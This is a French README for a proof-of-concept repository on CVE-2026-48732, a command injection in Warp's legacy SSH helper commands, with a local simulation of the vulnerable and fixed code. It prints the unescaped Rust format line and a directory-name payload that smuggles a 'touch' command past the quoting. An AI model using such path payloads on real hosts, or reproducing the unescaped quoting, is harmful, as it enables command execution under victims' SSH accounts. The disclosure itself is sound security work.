
Preuve de concept démontrant une injection de commande OS dans la gestion héritée des commandes SSH en arrière-plan de Warp (CVE-2026-48732). Inclut une simulation locale de la construction de commande vulnérable et corrigée.
Ce dépôt est un Proof of Concept (PoC) de la vulnérabilité d'injection de commande OS de sévérité élevée CVE-2026-48732, présente dans l'ancien traitement des commandes SSH en arrière-plan de Warp.
Dans les versions concernées de Warp, les commandes auxiliaires étaient construites à l'aide du répertoire de travail distant (cwd) rapporté par la session SSH. Les guillemets simples contenus dans ce chemin n'étant pas échappés, un hôte distant, un dépôt ou un nom de répertoire contrôlés par un attaquant pouvait permettre de sortir de l'argument cd entre guillemets et d'exécuter une syntaxe shell supplémentaire sur l'hôte distant avec les privilèges du compte SSH authentifié de la victime.
Découvert par : saku0512 (GitHub)
Ce projet est fourni uniquement à des fins éducatives et de tests de sécurité éthiques.
L'auteur décline toute responsabilité en cas d'utilisation abusive, de dommages ou d'actes illégaux liés à cet outil. L'accès non autorisé à des systèmes informatiques est illégal. En utilisant ce logiciel, vous êtes réputé avoir accepté de ne l'utiliser que dans des environnements pour lesquels vous avez explicitement obtenu l'autorisation d'effectuer des tests de sécurité.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)>= v0.2023.03.21.08.02.stable_00v0.2026.05.06.15.42.stable_01 et versions ultérieuresL'ancien traitement des commandes SSH en arrière-plan, vulnérable, n'échappait pas les guillemets simples du chemin lors de l'encapsulation du répertoire de travail distant entre guillemets simples.
command_str.push_str(&format!("cd '{current_directory_path}' && "));
Par exemple, si current_directory_path contient une valeur telle que :
/tmp/warp-cve-2026-48732'; touch /tmp/warp_cve_2026_48732_confirmed; echo '
La commande shell générée est la suivante :
cd '/tmp/warp-cve-2026-48732'; touch /tmp/warp_cve_2026_48732_confirmed; echo '' && pwd
Ainsi, la commande touch injectée est interprétée par le shell comme une commande distincte.
Le correctif échappe les guillemets simples intégrés avant de placer le chemin dans un contexte shell entre guillemets simples.
Vérifiez que Python 3 est installé. Ce PoC simule localement la construction vulnérable de la commande ; il ne se connecte ni à Warp ni à SSH.
python3 --version
Exécutez le script fourni.
python3 poc.py
La sortie attendue contient la commande vulnérable générée ainsi qu'un message de succès indiquant que le fichier marqueur a été créé.
[!] SUCCESS: /tmp/warp_cve_2026_48732_confirmed was created.
Vérifiez le fichier marqueur pour confirmer que la commande a bien été exécutée.
ls -l /tmp/warp_cve_2026_48732_confirmed
Si le fichier existe, le comportement d'injection de commande est confirmé dans la simulation locale.
Après vérification, supprimez le fichier marqueur.
rm -f /tmp/warp_cve_2026_48732_confirmed
Exécutez le générateur de commandes corrigé.
python3 poc.py --mode fixed
Dans la simulation corrigée, les guillemets simples intégrés étant échappés, le fichier marqueur ne devrait pas être créé.
Mettez Warp à jour vers la version corrigée dès que possible.
Ce correctif échappe les guillemets simples intégrés dans les chemins distants avant de construire les commandes auxiliaires SSH héritées. Cela empêche le texte de chemin contrôlé par un attaquant de s'échapper de l'argument shell entre guillemets.